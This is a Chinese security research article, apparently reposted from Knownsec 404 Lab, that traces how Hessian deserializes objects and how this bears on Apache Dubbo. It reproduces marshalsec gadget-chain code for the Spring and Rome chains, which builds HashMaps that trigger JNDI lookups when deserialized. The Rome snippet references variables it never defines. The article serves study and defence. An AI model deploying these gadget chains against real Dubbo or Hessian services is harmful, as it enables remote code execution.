您好,登錄后才能下訂單哦!
作者:Longofo@知道創(chuàng)宇404實(shí)驗(yàn)室
時(shí)間:2020年2月20日
原文地址:https://paper.seebug.org/1131/
前不久有一個(gè)關(guān)于Apache Dubbo Http反序列化的漏洞,本來是一個(gè)正常功能(通過正常調(diào)用抓包即可驗(yàn)證確實(shí)是正常功能而不是非預(yù)期的Post),通過Post傳輸序列化數(shù)據(jù)進(jìn)行遠(yuǎn)程調(diào)用,但是如果Post傳遞惡意的序列化數(shù)據(jù)就能進(jìn)行惡意利用。Apache Dubbo還支持很多協(xié)議,例如Dubbo(Dubbo Hessian2)、Hessian(包括Hessian與Hessian2,這里的Hessian2與Dubbo Hessian2不是同一個(gè))、Rmi、Http等。Apache Dubbo是遠(yuǎn)程調(diào)用框架,既然Http方式的遠(yuǎn)程調(diào)用傳輸了序列化的數(shù)據(jù),那么其他協(xié)議也可能存在類似問題,例如Rmi、Hessian等。@pyn3rd師傅之前在 twiter發(fā)了關(guān)于Apache Dubbo Hessian協(xié)議的反序列化利用,Apache Dubbo Hessian反序列化問題之前也被提到過, 這篇文章里面講到了Apache Dubbo Hessian存在反序列化被利用的問題,類似的還有Apache Dubbo Rmi反序列化問題。之前也沒比較完整的去分析過一個(gè)反序列化組件處理流程,剛好趁這個(gè)機(jī)會(huì)看看Hessian序列化、反序列化過程,以及 marshalsec工具中對(duì)于Hessian的幾條利用鏈。
序列化/反序列化機(jī)制(或者可以叫編組/解組機(jī)制,編組/解組比序列化/反序列化含義要廣),參考 marshalsec.pdf,可以將序列化/反序列化機(jī)制分大體分為兩類:
它們最基本的區(qū)別是如何在對(duì)象上設(shè)置屬性值,它們有共同點(diǎn),也有自己獨(dú)有的不同處理方式。有的通過反射自動(dòng)調(diào)用
getter(xxx)
和
setter(xxx)
訪問對(duì)象屬性,有的還需要調(diào)用默認(rèn)Constructor,有的處理器(指的上面列出來的那些)在反序列化對(duì)象時(shí),如果類對(duì)象的某些方法還滿足自己設(shè)定的某些要求,也會(huì)被自動(dòng)調(diào)用。還有XMLDecoder這種能調(diào)用對(duì)象任意方法的處理器。有的處理器在支持多態(tài)特性時(shí),例如某個(gè)對(duì)象的某個(gè)屬性是Object、Interface、abstruct等類型,為了在反序列化時(shí)能完整恢復(fù),需要寫入具體的類型信息,這時(shí)候可以指定更多的類,在反序列化時(shí)也會(huì)自動(dòng)調(diào)用具體類對(duì)象的某些方法來設(shè)置這些對(duì)象的屬性值。這種機(jī)制的攻擊面比基于Field機(jī)制的攻擊面大,因?yàn)樗鼈冏詣?dòng)調(diào)用的方法以及在支持多態(tài)特性時(shí)自動(dòng)調(diào)用方法比基于Field機(jī)制要多。
基于Field機(jī)制是通過特殊的native(native方法不是java代碼實(shí)現(xiàn)的,所以不會(huì)像Bean機(jī)制那樣調(diào)用getter、setter等更多的java方法)方法或反射(最后也是使用了native方式)直接對(duì)Field進(jìn)行賦值操作的機(jī)制,不是通過getter、setter方式對(duì)屬性賦值(下面某些處理器如果進(jìn)行了特殊指定或配置也可支持Bean機(jī)制方式)。在ysoserial中的payload是基于原生Java Serialization,marshalsec支持多種,包括上面列出的和下面列出的。
就對(duì)象進(jìn)行的方法調(diào)用而言,基于字段的機(jī)制通常通常不構(gòu)成攻擊面。另外,許多集合、Map等類型無法使用它們運(yùn)行時(shí)表示形式進(jìn)行傳輸/存儲(chǔ)(例如Map,在運(yùn)行時(shí)存儲(chǔ)是通過計(jì)算了對(duì)象的hashcode等信息,但是存儲(chǔ)時(shí)是沒有保存這些信息的),這意味著所有基于字段的編組器都會(huì)為某些類型捆綁定制轉(zhuǎn)換器(例如Hessian中有專門的MapSerializer轉(zhuǎn)換器)。這些轉(zhuǎn)換器或其各自的目標(biāo)類型通常必須調(diào)用攻擊者提供的對(duì)象上的方法,例如Hessian中如果是反序列化map類型,會(huì)調(diào)用MapDeserializer處理map,期間map的put方法被調(diào)用,map的put方法又會(huì)計(jì)算被恢復(fù)對(duì)象的hash造成hashcode調(diào)用(這里對(duì)hashcode方法的調(diào)用就是前面說的必須調(diào)用攻擊者提供的對(duì)象上的方法),根據(jù)實(shí)際情況,可能hashcode方法中還會(huì)觸發(fā)后續(xù)的其他方法調(diào)用。
Hessian是二進(jìn)制的web service協(xié)議,官方對(duì)Java、Flash/Flex、Python、C++、.NET C#等多種語言都進(jìn)行了實(shí)現(xiàn)。Hessian和Axis、XFire都能實(shí)現(xiàn)web service方式的遠(yuǎn)程方法調(diào)用,區(qū)別是Hessian是二進(jìn)制協(xié)議,Axis、XFire則是SOAP協(xié)議,所以從性能上說Hessian遠(yuǎn)優(yōu)于后兩者,并且Hessian的JAVA使用方法非常簡單。它使用Java語言接口定義了遠(yuǎn)程對(duì)象,集合了序列化/反序列化和RMI功能。本文主要講解Hessian的序列化/反序列化。
下面做個(gè)簡單測試下Hessian Serialization與Java Serialization:
//Student.javaimport java.io.Serializable;public class Student implements Serializable { private static final long serialVersionUID = 1L; private int id; private String name; private transient String gender; public int getId() { System.out.println("Student getId call"); return id; } public void setId(int id) { System.out.println("Student setId call"); this.id = id; } public String getName() { System.out.println("Student getName call"); return name; } public void setName(String name) { System.out.println("Student setName call"); this.name = name; } public String getGender() { System.out.println("Student getGender call"); return gender; } public void setGender(String gender) { System.out.println("Student setGender call"); this.gender = gender; } public Student() { System.out.println("Student default constractor call"); } public Student(int id, String name, String gender) { this.id = id; this.name = name; this.gender = gender; } @Override public String toString() { return "Student(id=" + id + ",name=" + name + ",gender=" + gender + ")"; }}
//HJSerializationTest.javaimport com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;public class HJSerializationTest { public static <T> byte[] hserialize(T t) { byte[] data = null; try { ByteArrayOutputStream os = new ByteArrayOutputStream(); HessianOutput output = new HessianOutput(os); output.writeObject(t); data = os.toByteArray(); } catch (Exception e) { e.printStackTrace(); } return data; } public static <T> T hdeserialize(byte[] data) { if (data == null) { return null; } Object result = null; try { ByteArrayInputStream is = new ByteArrayInputStream(data); HessianInput input = new HessianInput(is); result = input.readObject(); } catch (Exception e) { e.printStackTrace(); } return (T) result; } public static <T> byte[] jdkSerialize(T t) { byte[] data = null; try { ByteArrayOutputStream os = new ByteArrayOutputStream(); ObjectOutputStream output = new ObjectOutputStream(os); output.writeObject(t); output.flush(); output.close(); data = os.toByteArray(); } catch (Exception e) { e.printStackTrace(); } return data; } public static <T> T jdkDeserialize(byte[] data) { if (data == null) { return null; } Object result = null; try { ByteArrayInputStream is = new ByteArrayInputStream(data); ObjectInputStream input = new ObjectInputStream(is); result = input.readObject(); } catch (Exception e) { e.printStackTrace(); } return (T) result; } public static void main(String[] args) { Student stu = new Student(1, "hessian", "boy"); long htime1 = System.currentTimeMillis(); byte[] hdata = hserialize(stu); long htime2 = System.currentTimeMillis(); System.out.println("hessian serialize result length = " + hdata.length + "," + "cost time:" + (htime2 - htime1)); long htime3 = System.currentTimeMillis(); Student hstudent = hdeserialize(hdata); long htime4 = System.currentTimeMillis(); System.out.println("hessian deserialize result:" + hstudent + "," + "cost time:" + (htime4 - htime3)); System.out.println(); long jtime1 = System.currentTimeMillis(); byte[] jdata = jdkSerialize(stu); long jtime2 = System.currentTimeMillis(); System.out.println("jdk serialize result length = " + jdata.length + "," + "cost time:" + (jtime2 - jtime1)); long jtime3 = System.currentTimeMillis(); Student jstudent = jdkDeserialize(jdata); long jtime4 = System.currentTimeMillis(); System.out.println("jdk deserialize result:" + jstudent + "," + "cost time:" + (jtime4 - jtime3)); }}
結(jié)果如下:
hessian serialize result length = 64,cost time:45hessian deserialize result:Student(id=1,name=hessian,gender=null),cost time:3jdk serialize result length = 100,cost time:5jdk deserialize result:Student(id=1,name=hessian,gender=null),cost time:43
通過這個(gè)測試可以簡單看出Hessian反序列化占用的空間比JDK反序列化結(jié)果小,Hessian序列化時(shí)間比JDK序列化耗時(shí)長,但Hessian反序列化很快。并且兩者都是基于Field機(jī)制,沒有調(diào)用getter、setter方法,同時(shí)反序列化時(shí)構(gòu)造方法也沒有被調(diào)用。
下面的是網(wǎng)絡(luò)上對(duì)Hessian分析時(shí)常用的概念圖,在新版中是整體也是這些結(jié)構(gòu),就直接拿來用了:
Hessian Serializer/Derializer默認(rèn)情況下實(shí)現(xiàn)了以下序列化/反序列化器,用戶也可通過接口/抽象類自定義序列化/反序列化器:
序列化時(shí)會(huì)根據(jù)對(duì)象、屬性不同類型選擇對(duì)應(yīng)的序列化其進(jìn)行序列化;反序列化時(shí)也會(huì)根據(jù)對(duì)象、屬性不同類型選擇不同的反序列化器;每個(gè)類型序列化器中還有具體的FieldSerializer。這里注意下JavaSerializer/JavaDeserializer與BeanSerializer/BeanDeserializer,它們不是類型序列化/反序列化器,而是屬于機(jī)制序列化/反序列化器:
JavaSerializer:通過反射獲取所有bean的屬性進(jìn)行序列化,排除static和transient屬性,對(duì)其他所有的屬性進(jìn)行遞歸序列化處理(比如屬性本身是個(gè)對(duì)象)
BeanSerializer是遵循pojo bean的約定,掃描bean的所有方法,發(fā)現(xiàn)存在get和set方法的屬性進(jìn)行序列化,它并不直接直接操作所有的屬性,比較溫柔
這里使用一個(gè)demo進(jìn)行調(diào)試,在Student屬性包含了String、int、List、Map、Object類型的屬性,添加了各屬性setter、getter方法,還有readResovle、finalize、toString、hashCode方法,并在每個(gè)方法中進(jìn)行了輸出,方便觀察。雖然不會(huì)覆蓋Hessian所有邏輯,不過能大概看到它的面貌:
//people.javapublic class People { int id; String name; public int getId() { System.out.println("Student getId call"); return id; } public void setId(int id) { System.out.println("Student setId call"); this.id = id; } public String getName() { System.out.println("Student getName call"); return name; } public void setName(String name) { System.out.println("Student setName call"); this.name = name; }}
//Student.javapublic class Student extends People implements Serializable { private static final long serialVersionUID = 1L; private static Student student = new Student(111, "xxx", "ggg"); private transient String gender; private Map<String, Class<Object>> innerMap; private List<Student> friends; public void setFriends(List<Student> friends) { System.out.println("Student setFriends call"); this.friends = friends; } public void getFriends(List<Student> friends) { System.out.println("Student getFriends call"); this.friends = friends; } public Map getInnerMap() { System.out.println("Student getInnerMap call"); return innerMap; } public void setInnerMap(Map innerMap) { System.out.println("Student setInnerMap call"); this.innerMap = innerMap; } public String getGender() { System.out.println("Student getGender call"); return gender; } public void setGender(String gender) { System.out.println("Student setGender call"); this.gender = gender; } public Student() { System.out.println("Student default constructor call"); } public Student(int id, String name, String gender) { System.out.println("Student custom constructor call"); this.id = id; this.name = name; this.gender = gender; } private void readObject(ObjectInputStream ObjectInputStream) { System.out.println("Student readObject call"); } private Object readResolve() { System.out.println("Student readResolve call"); return student; } @Override public int hashCode() { System.out.println("Student hashCode call"); return super.hashCode(); } @Override protected void finalize() throws Throwable { System.out.println("Student finalize call"); super.finalize(); } @Override public String toString() { return "Student{" + "id=" + id + ", name='" + name + '\'' + ", gender='" + gender + '\'' + ", innerMap=" + innerMap + ", friends=" + friends + '}'; }}
//SerialTest.javapublic class SerialTest { public static <T> byte[] serialize(T t) { byte[] data = null; try { ByteArrayOutputStream os = new ByteArrayOutputStream(); HessianOutput output = new HessianOutput(os); output.writeObject(t); data = os.toByteArray(); } catch (Exception e) { e.printStackTrace(); } return data; } public static <T> T deserialize(byte[] data) { if (data == null) { return null; } Object result = null; try { ByteArrayInputStream is = new ByteArrayInputStream(data); HessianInput input = new HessianInput(is); result = input.readObject(); } catch (Exception e) { e.printStackTrace(); } return (T) result; } public static void main(String[] args) { int id = 111; String name = "hessian"; String gender = "boy"; Map innerMap = new HashMap<String, Class<Object>>(); innerMap.put("1", ObjectInputStream.class); innerMap.put("2", SQLData.class); Student friend = new Student(222, "hessian1", "boy"); List friends = new ArrayList<Student>(); friends.add(friend); Student stu = new Student(); stu.setId(id); stu.setName(name); stu.setGender(gender); stu.setInnerMap(innerMap); stu.setFriends(friends); System.out.println("---------------hessian serialize----------------"); byte[] obj = serialize(stu); System.out.println(new String(obj)); System.out.println("---------------hessian deserialize--------------"); Student student = deserialize(obj); System.out.println(student); }}
下面是對(duì)上面這個(gè)demo進(jìn)行調(diào)試后畫出的Hessian在反序列化時(shí)處理的大致面貌(圖片太大,無法上傳,建議去 https://paper.seebug.org/1131/查看原文):
下面通過在調(diào)試到某些關(guān)鍵位置具體說明。
首先進(jìn)入HessianInput.readObject(),讀取tag類型標(biāo)識(shí)符,由于Hessian序列化時(shí)將結(jié)果處理成了Map,所以第一個(gè)tag總是M(ascii 77):
在
case 77
這個(gè)處理中,讀取了要反序列化的類型,接著調(diào)用
this._serializerFactory.readMap(in,type)
進(jìn)行處理,默認(rèn)情況下serializerFactory使用的Hessian標(biāo)準(zhǔn)實(shí)現(xiàn)SerializerFactory:
先獲取該類型對(duì)應(yīng)的Deserializer,接著調(diào)用對(duì)應(yīng)Deserializer.readMap(in)進(jìn)行處理,看下如何獲取對(duì)應(yīng)的Derserializer:
第一個(gè)紅框中主要是判斷在
_cacheTypeDeserializerMap
中是否緩存了該類型的反序列化器;第二個(gè)紅框中主要是判斷是否在
_staticTypeMap
中緩存了該類型反序列化器,
_staticTypeMap
主要存儲(chǔ)的是基本類型與對(duì)應(yīng)的反序列化器;第三個(gè)紅框中判斷是否是數(shù)組類型,如果是的話則進(jìn)入數(shù)組類型處理;第四個(gè)獲取該類型對(duì)應(yīng)的Class,進(jìn)入
this.getDeserializer(Class)
再獲取該類對(duì)應(yīng)的Deserializer,本例進(jìn)入的是第四個(gè):
這里再次判斷了是否在緩存中,不過這次是使用的
_cacheDeserializerMap
,它的類型是
ConcurrentHashMap
,之前是
_cacheTypeDeserializerMap
,類型是
HashMap
,這里可能是為了解決多線程中獲取的問題。本例進(jìn)入的是第二個(gè)
this.loadDeserializer(Class)
:
第一個(gè)紅框中是遍歷用戶自己設(shè)置的SerializerFactory,并嘗試從每一個(gè)工廠中獲取該類型對(duì)應(yīng)的Deserializer;第二個(gè)紅框中嘗試從上下文工廠獲取該類型對(duì)應(yīng)的Deserializer;第三個(gè)紅框嘗試創(chuàng)建上下文工廠,并嘗試獲取該類型自定義Deserializer,并且該類型對(duì)應(yīng)的Deserializer需要是類似
xxxHessianDeserializer
,xxx表示該類型類名;第四個(gè)紅框依次判斷,如果匹配不上,則使用
getDefaultDeserializer(Class),
本例進(jìn)入的是第四個(gè):
_isEnableUnsafeSerializer
默認(rèn)是為true的,這個(gè)值的確定首先是根據(jù)
sun.misc.Unsafe
的theUnsafe字段是否為空決定,而
sun.misc.Unsafe
的theUnsafe字段默認(rèn)在靜態(tài)代碼塊中初始化了并且不為空,所以為true;接著還會(huì)根據(jù)系統(tǒng)屬性
com.caucho.hessian.unsafe
是否為false,如果為false則忽略由
sun.misc.Unsafe
確定的值,但是系統(tǒng)屬性
com.caucho.hessian.unsafe
默認(rèn)為null,所以不會(huì)替換剛才的ture結(jié)果。因此,
_isEnableUnsafeSerializer
的值默認(rèn)為true,所以上圖默認(rèn)就是使用的UnsafeDeserializer,進(jìn)入它的構(gòu)造方法。
在這里獲取了該類型所有屬性并確定了對(duì)應(yīng)得FieldDeserializer,還判斷了該類型的類中是否存在ReadResolve()方法,先看類型屬性與FieldDeserializer如何確定:
獲取該類型以及所有父類的屬性,依次確定對(duì)應(yīng)屬性的FIeldDeserializer,并且屬性不能是transient、static修飾的屬性。下面就是依次確定對(duì)應(yīng)屬性的FieldDeserializer了,在UnsafeDeserializer中自定義了一些FieldDeserializer。
接著上面的UnsafeDeserializer構(gòu)造器中,還會(huì)判斷該類型的類中是否有
readResolve()
方法:
通過遍歷該類中所有方法,判斷是否存在
readResolve()
方法。
好了,后面基本都是原路返回獲取到的Deserializer,本例中該類使用的是UnsafeDeserializer,然后回到
SerializerFactory.readMap(in,type)
中,調(diào)用
UnsafeDeserializer.readMap(in)
:
至此,獲取到了本例中
com.longofo.deserialize.Student
類的反序列化器
UnsafeDeserializer
,以各字段對(duì)應(yīng)的FieldSerializer,同時(shí)在Student類中定義了
readResolve()
方法,所以獲取到了該類的
readResolve()
方法。
接下來為目標(biāo)類型分配了一個(gè)對(duì)象:
通過
_unsafe.allocateInstance(classType)
分配該類的一個(gè)實(shí)例,該方法是一個(gè)
sun.misc.Unsafe
中的native方法,為該類分配一個(gè)實(shí)例對(duì)象不會(huì)觸發(fā)構(gòu)造器的調(diào)用,這個(gè)對(duì)象的各屬性現(xiàn)在也只是賦予了JDK默認(rèn)值。
接下來就是恢復(fù)目標(biāo)類型對(duì)象的屬性值:
進(jìn)入循環(huán),先調(diào)用
in.readObject()
從輸入流中獲取屬性名稱,接著從之前確定好的
this._fieldMap
中匹配該屬性對(duì)應(yīng)的FieldDeserizlizer,然后調(diào)用匹配上的FieldDeserializer進(jìn)行處理。本例中進(jìn)行了序列化的屬性有innerMap(Map類型)、name(String類型)、id(int類型)、friends(List類型),這里以innerMap這個(gè)屬性恢復(fù)為例。
innerMap對(duì)應(yīng)的FieldDeserializer為
UnsafeDeserializer$ObjectFieldDeserializer
:
首先調(diào)用
in.readObject(fieldClassType)
從輸入流中獲取該屬性值,接著調(diào)用了
_unsafe.putObject
這個(gè)位于
sun.misc.Unsafe
中的native方法,并且不會(huì)觸發(fā)getter、setter方法的調(diào)用。這里看下
in.readObject(fieldClassType)
具體如何處理的:
這里Map類型使用的是MapDeserializer,對(duì)應(yīng)的調(diào)用
MapDeserializer.readMap(in)
方法來恢復(fù)一個(gè)Map對(duì)象:
注意這里的幾個(gè)判斷,如果是Map接口類型則使用HashMap,如果是SortedMap類型則使用TreeMap,其他Map則會(huì)調(diào)用對(duì)應(yīng)的默認(rèn)構(gòu)造器,本例中由于是Map接口類型,使用的是HashMap。接下來經(jīng)典的場景就來了,先使用
in.readObject()
(這個(gè)過程和之前的類似,就不重復(fù)了)恢復(fù)了序列化數(shù)據(jù)中Map的key,value對(duì)象,接著調(diào)用了
map.put(key,value)
,這里是HashMap,在HashMap的put方法會(huì)調(diào)用
hash(key)
觸發(fā)key對(duì)象的
key.hashCode()
方法,在put方法中還會(huì)調(diào)用putVal,putVal又會(huì)調(diào)用key對(duì)象的
key.equals(obj)
方法。處理完所有key,value后,返回到
UnsafeDeserializer$ObjectFieldDeserializer
中:
使用native方法
_unsafe.putObject
完成對(duì)象的innerMap屬性賦值。
在marshalsec工具中,提供了對(duì)于Hessian反序列化可利用的幾條鏈:
Rome
XBean
Resin
SpringPartiallyComparableAdvisorHolder
SpringAbstractBeanFactoryPointcutAdvisor
下面分析其中的兩條Rome和SpringPartiallyComparableAdvisorHolder,Rome是通過
HashMap.put
->
key.hashCode
觸發(fā),SpringPartiallyComparableAdvisorHolder是通過
HashMap.put
->
key.equals
觸發(fā)。其他幾個(gè)也是類似的,要么利用hashCode、要么利用equals。
在marshalsec中有所有對(duì)應(yīng)的Gadget Test,很方便:
這里將Hessian對(duì)SpringPartiallyComparableAdvisorHolder這條利用鏈提取出來看得比較清晰些:
String jndiUrl = "ldap://localhost:1389/obj";SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();bf.setShareableResources(jndiUrl);//反序列化時(shí)BeanFactoryAspectInstanceFactory.getOrder會(huì)被調(diào)用,會(huì)觸發(fā)調(diào)用SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookupReflections.setFieldValue(bf, "logger", new NoOpLog());Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());//反序列化時(shí)AspectJAroundAdvice.getOrder會(huì)被調(diào)用,會(huì)觸發(fā)BeanFactoryAspectInstanceFactory.getOrderAspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);Reflections.setFieldValue(aif, "beanFactory", bf);Reflections.setFieldValue(aif, "name", jndiUrl);//反序列化時(shí)AspectJPointcutAdvisor.getOrder會(huì)被調(diào)用,會(huì)觸發(fā)AspectJAroundAdvice.getOrderAbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);//反序列化時(shí)PartiallyComparableAdvisorHolder.toString會(huì)被調(diào)用,會(huì)觸發(fā)AspectJPointcutAdvisor.getOrderAspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);Reflections.setFieldValue(advisor, "advice", advice);//反序列化時(shí)Xstring.equals會(huì)被調(diào)用,會(huì)觸發(fā)PartiallyComparableAdvisorHolder.toStringClass<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");Object pcah = Reflections.createWithoutConstructor(pcahCl);Reflections.setFieldValue(pcah, "advisor", advisor);//反序列化時(shí)HotSwappableTargetSource.equals會(huì)被調(diào)用,觸發(fā)Xstring.equalsHotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);HotSwappableTargetSource v2 = new HotSwappableTargetSource(Xstring("xxx"));//反序列化時(shí)HashMap.putVal會(huì)被調(diào)用,觸發(fā)HotSwappableTargetSource.equals。這里沒有直接使用HashMap.put設(shè)置值,直接put會(huì)在本地觸發(fā)利用鏈,所以使用marshalsec使用了比較特殊的處理方式。
HashMap<Object, Object> s = new HashMap<>(); Reflections.setFieldValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); Reflections.setFieldValue(s, "table", tbl);
看以下觸發(fā)流程:
經(jīng)過
HessianInput.readObject()
,到了
MapDeserializer.readMap(in)
進(jìn)行處理Map類型屬性,這里觸發(fā)了
HashMap.put(key,value)
:
HashMap.put
有調(diào)用了
HashMap.putVal
方法,第二次put時(shí)會(huì)觸發(fā)
key.equals(k)
方法:
此時(shí)key與k分別如下,都是HotSwappableTargetSource對(duì)象:
進(jìn)入
HotSwappableTargetSource.equals
:
在
HotSwappableTargetSource.equals
中又觸發(fā)了各自
target.equals
方法,也就是
XString.equals(PartiallyComparableAdvisorHolder)
:
在這里觸發(fā)了
PartiallyComparableAdvisorHolder.toString
:
發(fā)了
AspectJPointcutAdvisor.getOrder
:
觸發(fā)了
AspectJAroundAdvice.getOrder
:
這里又觸發(fā)了
BeanFactoryAspectInstanceFactory.getOrder
:
又觸發(fā)了
SimpleJndiBeanFactory.getTYpe
->
SimpleJndiBeanFactory.doGetType
->
SimpleJndiBeanFactory.doGetSingleton
->
SimpleJndiBeanFactory.lookup
->
JndiTemplate.lookup
->
Context.lookup
:
Rome相對(duì)來說觸發(fā)過程簡單些:
同樣將利用鏈提取出來:
//反序列化時(shí)ToStringBean.toString()會(huì)被調(diào)用,觸發(fā)JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookupString jndiUrl = "ldap://localhost:1389/obj";JdbcRowSetImpl rs = new JdbcRowSetImpl();rs.setDataSourceName(jndiUrl);rs.setMatchColumn("foo");//反序列化時(shí)EqualsBean.beanHashCode會(huì)被調(diào)用,觸發(fā)ToStringBean.toStringToStringBean item = new ToStringBean(JdbcRowSetImpl.class, obj);//反序列化時(shí)HashMap.hash會(huì)被調(diào)用,觸發(fā)EqualsBean.hashCode->EqualsBean.beanHashCodeEqualsBean root = new EqualsBean(ToStringBean.class, item);//HashMap.put->HashMap.putVal->HashMap.hashHashMap<Object, Object> s = new HashMap<>();Reflections.setFieldValue(s, "size", 2);Class<?> nodeC;try { nodeC = Class.forName("java.util.HashMap$Node");}catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry");}Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl = Array.newInstance(nodeC, 2);Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));Reflections.setFieldValue(s, "table", tbl);
看下觸發(fā)過程:
經(jīng)過
HessianInput.readObject()
,到了
MapDeserializer.readMap(in)
進(jìn)行處理Map類型屬性,這里觸發(fā)了
HashMap.put(key,value)
:
接著調(diào)用了hash方法,其中調(diào)用了
key.hashCode
方法:
接著觸發(fā)了
EqualsBean.hashCode->EqualsBean.beanHashCode
:
觸發(fā)了
ToStringBean.toString
:
這里調(diào)用了
JdbcRowSetImpl.getDatabaseMetadata
,其中又觸發(fā)了
JdbcRowSetImpl.connect
->
context.lookup
:
通過以上兩條鏈可以看出,在Hessian反序列化中基本都是利用了反序列化處理Map類型時(shí),會(huì)觸發(fā)調(diào)用
Map.put
->
Map.putVal
->
key.hashCode
/
key.equals
->...,后面的一系列出發(fā)過程,也都與多態(tài)特性有關(guān),有的類屬性是Object類型,可以設(shè)置為任意類,而在hashCode、equals方法又恰好調(diào)用了屬性的某些方法進(jìn)行后續(xù)的一系列觸發(fā)。所以要挖掘這樣的利用鏈,可以直接找有hashCode、equals以及readResolve方法的類,然后人進(jìn)行判斷與構(gòu)造,不過這個(gè)工作量應(yīng)該很大;或者使用一些利用鏈挖掘工具,根據(jù)需要編寫規(guī)則進(jìn)行掃描。
先簡單看下之前說到的HTTP問題吧,直接用官方提供的
samples,其中有一個(gè)dubbo-samples-http可以直接拿來用,直接在
DemoServiceImpl.sayHello
方法中打上斷點(diǎn),在
RemoteInvocationSerializingExporter.doReadRemoteInvocation
中反序列化了數(shù)據(jù),使用的是Java Serialization方式:
抓包看下,很明顯的
ac ed
標(biāo)志:
同樣使用官方提供的dubbo-samples-basic,默認(rèn)Dubbo hessian2協(xié)議,Dubbo對(duì)hessian2進(jìn)行了魔改,不過大體結(jié)構(gòu)還是差不多,在
MapDeserializer.readMap
是依然與Hessian類似:
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請(qǐng)聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。